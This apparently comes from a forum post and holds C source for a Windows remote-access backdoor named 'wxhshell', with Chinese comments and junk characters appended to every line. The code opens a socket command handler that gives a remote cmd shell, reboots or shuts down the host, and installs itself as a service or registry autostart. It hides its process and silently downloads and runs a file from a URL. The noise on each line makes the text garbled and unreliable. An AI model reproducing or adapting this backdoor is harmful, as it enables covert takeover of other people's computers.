  } 3+ WostOx  
  else { u#v];6N  
9l:vVp7Uk  
    switch(cmd[0]) { ? ]hS^&  
  XQ$9E?|=  
  // 帮助 (, 2U?p  
  case '?': { pDG>9P#mO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D 13bQ&\B-  
    break; n_46;lD  
  } !jyy`q=  
  // 安装 oD~q/04!  
  case 'i': { K&/!3vc  
    if(Install()) =fy'w3m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &cB +la\_  
    else ,(&5y:o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wxo{gBq  
    break; ?/^x)Nm  
    } h9WyQl7  
  // 卸载 r>x>aJ  
  case 'r': { .vhEm6wJUM  
    if(Uninstall()) ;>h:VnV(>(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Vmx<w  
    else =U+_;;F=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]5j1p6;(`  
    break; =!P$[pN2  
    } 5u&hp  
  // 显示 wxhshell 所在路径 yu @u0vlc  
  case 'p': { T,fDH!a  
    char svExeFile[MAX_PATH]; *K2fp=Ns  
    strcpy(svExeFile,"\n\r"); 7DCu#Y[  
      strcat(svExeFile,ExeFile); ,S\AUUt%  
        send(wsh,svExeFile,strlen(svExeFile),0); \:`-"Ou(*  
    break; OA{PKC  
    } I<LIw8LI  
  // 重启 8PwPI%Pb  
  case 'b': { <<[\ Rv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BF+i82$zo  
    if(Boot(REBOOT)) E_j=v \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #wP$LKk  
    else { gaxxB]8  
    closesocket(wsh); t[Ywp!y[  
    ExitThread(0); - {|  
    } b{hdEb  
    break; 37nGFH`K2m  
    } 2kVQ#JyuRI  
  // 关机 <CY<-H  
  case 'd': { 25/OV"Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2&d|L|->  
    if(Boot(SHUTDOWN)) co [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  NncII5z  
    else { w>uo-88  
    closesocket(wsh); |;MW98 A  
    ExitThread(0); x|q|> dPB  
    } &VfMv'%x  
    break; { '1e?  
    } GP;UuQz  
  // 获取shell @86?!0bt  
  case 's': { A,#a?O6m  
    CmdShell(wsh); +EE(d/ f  
    closesocket(wsh); ?_+8K`B  
    ExitThread(0); %r >Y)@$Vt  
    break; mr\C  
  } Y!w {,\3  
  // 退出 (|U|>@  
  case 'x': { & 24$*Oe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ooIA#u  
    CloseIt(wsh); Q]<6i  
    break; wTkcR^  
    } z]bcg$m  
  // 离开  - j_  
  case 'q': { e<1)KqG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )2mvW1M=7;  
    closesocket(wsh); kH}HFl  
    WSACleanup(); ZAa:f:[#f  
    exit(1); ERZWK  
    break;  j2%?-(U  
        } v JPX`T|  
  } KG9FR*"  
  } >{@:p`*  
.}x:yKyi@  
  // 提示信息 6;{E-y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V/W{d[86G  
} =%ZR0cWPoI  
  } YqNI:znm-  
+!Lz]@9K  
  return; !j-JMa?  
} [&h%T;!Qii  
Kb,#Ot  
// shell模块句柄 H!vX#  
int CmdShell(SOCKET sock) tX7TP(  
{ 'ghwc:Og|%  
STARTUPINFO si; <9yB& ^  
ZeroMemory(&si,sizeof(si)); %y_AT2A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )3A%Un#B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jl|^  
PROCESS_INFORMATION ProcessInfo; xA {1XS}  
char cmdline[]="cmd"; 3P[u>xE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); > J>|+W  
  return 0; {u_2L_  
} *^t7?f[  
' &j]~m  
// 自身启动模式 '1te(+;e@  
int StartFromService(void) o dTg.m  
{ QB|D_?]  
typedef struct AagWswv{Bf  
{ o; N s-=  
  DWORD ExitStatus; )'Yoii{dSU  
  DWORD PebBaseAddress; !|`vW{v  
  DWORD AffinityMask; c3G&)gU4q  
  DWORD BasePriority; &nX,)"  
  ULONG UniqueProcessId; *&sXC@^@^  
  ULONG InheritedFromUniqueProcessId; gP 6`q  
}   PROCESS_BASIC_INFORMATION; }$T!qMst{  
r]'Q5l4j6"  
PROCNTQSIP NtQueryInformationProcess; >HlQ+bl$xw  
`p{,C`g,R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <=7N2t)s4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lM'yj}:~  
%zA$+eT  
  HANDLE             hProcess; Pu7cL  
  PROCESS_BASIC_INFORMATION pbi; V|mz]H#|  
LJII7<k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8 y+Nl&"V  
  if(NULL == hInst ) return 0; @mu2,%  
vhaUV#V"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Yt% E,U~g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >i IUS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wy.Xx-3W  
;UB$Uqs6  
  if (!NtQueryInformationProcess) return 0; 875BD U  
oy!Dm4F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2E X Rq  
  if(!hProcess) return 0; 2r~&+0sBP  
sBfPhBT|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [6Nw)r(a(  
CWk65tcF  
  CloseHandle(hProcess); ~0~f  
6bW:&IPQ;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @JL+xfz  
if(hProcess==NULL) return 0; zrJ/Fs+s  
;uazQyo6  
HMODULE hMod; Qy+&N*k>  
char procName[255]; ]{<`W5 b/  
unsigned long cbNeeded; w 9mi2=  
j7M[]/|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0u'qu2mV  
7>`VZ?  
  CloseHandle(hProcess); eHjn<@  
~<, QxFG5  
if(strstr(procName,"services")) return 1; // 以服务启动 79svlq=  
& M wvj  
  return 0; // 注册表启动 ~e!b81  
} '`*{ig  
0` {6~p  
// 主模块 8C{mV^cn~  
int StartWxhshell(LPSTR lpCmdLine) R]7-6  
{ j5EZJ`  
  SOCKET wsl; &l=%*`On  
BOOL val=TRUE; 1.Ximom  
  int port=0; lo*)% fy  
  struct sockaddr_in door; AIvIQ$6}  
Eo$7W5h J  
  if(wscfg.ws_autoins) Install(); }!i#1uHUH:  
&O'6va  
port=atoi(lpCmdLine); ]S6`",+)<f  
]mN'Qoc  
if(port<=0) port=wscfg.ws_port; Dg$Z5`%k8  
V #0F2GV<,  
  WSADATA data; Y?(kE` R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e `!PQMLU  
0Jh^((i*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W -Yv0n3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D~~&e<v'1  
  door.sin_family = AF_INET; I]"wT2@T;7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *Op;].>E  
  door.sin_port = htons(port); >xU$)uE&  
G`B e~NU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^T[8j/9o^  
closesocket(wsl); |D %m>M6  
return 1; F_9eju^|  
} GHaOFLY  
(5s$vcK  
  if(listen(wsl,2) == INVALID_SOCKET) { <n4T*  
closesocket(wsl); Une,Y4{u  
return 1; 8\?7k  
} d`he Wv^/`  
  Wxhshell(wsl); uES|jU{]b  
  WSACleanup(); c/Fy1Lv\  
GJ:65)KU  
return 0; 7~@9=e8G  
IJxBPwh  
} b ^wL{q  
gOpi>  
// 以NT服务方式启动 V _(L/6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x;&01@m.  
{ *=Ko"v }  
DWORD   status = 0; G%{J.J41F  
  DWORD   specificError = 0xfffffff; "P) f,n  
\K$9r=!(  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  F?UI8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i6L>,^Dg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M#BM`2!s  
  serviceStatus.dwWin32ExitCode     = 0; Hc`)Q vFRW  
  serviceStatus.dwServiceSpecificExitCode = 0; <L4.*  
  serviceStatus.dwCheckPoint       = 0; >WfkWUb  
  serviceStatus.dwWaitHint       = 0; _4eSDO[h  
pCXceNFo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xq`mo  
  if (hServiceStatusHandle==0) return; N/wUP  
Gwyjie9t  
status = GetLastError(); rI/;L<c  
  if (status!=NO_ERROR) Y?ADM(j  
{ en6Kdqe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i2. +E&3v  
    serviceStatus.dwCheckPoint       = 0; C`qo  
    serviceStatus.dwWaitHint       = 0; ;WydXQ}Q^  
    serviceStatus.dwWin32ExitCode     = status; HPz9Er  
    serviceStatus.dwServiceSpecificExitCode = specificError; }e/#dMEi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 )tDgm  
    return; W6~aL\[  
  } G~z=,72  
7Cx*Ts$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $ z4JUr!m  
  serviceStatus.dwCheckPoint       = 0; I-?PTr  
  serviceStatus.dwWaitHint       = 0; $<;!F=%8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $KSdNFtM)A  
} vBP 5n  
.b.p yVk  
// 处理NT服务事件,比如:启动、停止 (R'GrN>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z|KQiLza  
{  Ptt  
switch(fdwControl) ;Jh=7wx  
{ ua!i3]18  
case SERVICE_CONTROL_STOP: rM?O2n  
  serviceStatus.dwWin32ExitCode = 0; cSbyVC[r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8IeE7  
  serviceStatus.dwCheckPoint   = 0; x9QUo*MT  
  serviceStatus.dwWaitHint     = 0; !hMD>B2Z  
  { Sw1z^`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1/JtL>SKE  
  } Z<P?P`  
  return; %-lilo   
case SERVICE_CONTROL_PAUSE: UF_?T.Rl^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L=7Y~aL=  
  break; A7`+XqG  
case SERVICE_CONTROL_CONTINUE: 'P AIh*qA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UFE# J  
  break; x=S8UKUx  
case SERVICE_CONTROL_INTERROGATE: c @U\d<{w  
  break; 1<9=J`(H  
}; ]'.D@vFGO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Sj _=  
} sYfiC`9SO  
j7(S=  
// 标准应用程序主函数 -`f 1l8LD2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U%:K11Kr  
{ bZ5cKQ\6  
hL?"!  
// 获取操作系统版本 iQT$#"m n  
OsIsNt=GetOsVer(); b41f7t=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); De<kkR{4  
'K!u}py  
  // 从命令行安装 ?hFG+`"W  
  if(strpbrk(lpCmdLine,"iI")) Install(); PHxU6UPqy  
za,JCI  
  // 下载执行文件 j}`XF?2D  
if(wscfg.ws_downexe) { m=4hi(g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TOH+JL8L  
  WinExec(wscfg.ws_filenam,SW_HIDE); up;^,I  
} FJ+n- \  
it.'.aK4  
if(!OsIsNt) { U =i=E}'  
// 如果时win9x,隐藏进程并且设置为注册表启动 v =]!Po&Q-  
HideProc(); i)1013b  
StartWxhshell(lpCmdLine); lf9mdbm  
} -;Ij ,  
else Dk^T_7{  
  if(StartFromService()) )*`cJ_t  
  // 以服务方式启动 1$S`>M%a  
  StartServiceCtrlDispatcher(DispatchTable); bSkr:|A7  
else bH Nf>  
  // 普通方式启动 n8.Tag(#  
  StartWxhshell(lpCmdLine); K} ) w  
0F-%C>&g  
return 0; "nA~/t=  
}
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只看该作者 1 发表于: 2006-10-10
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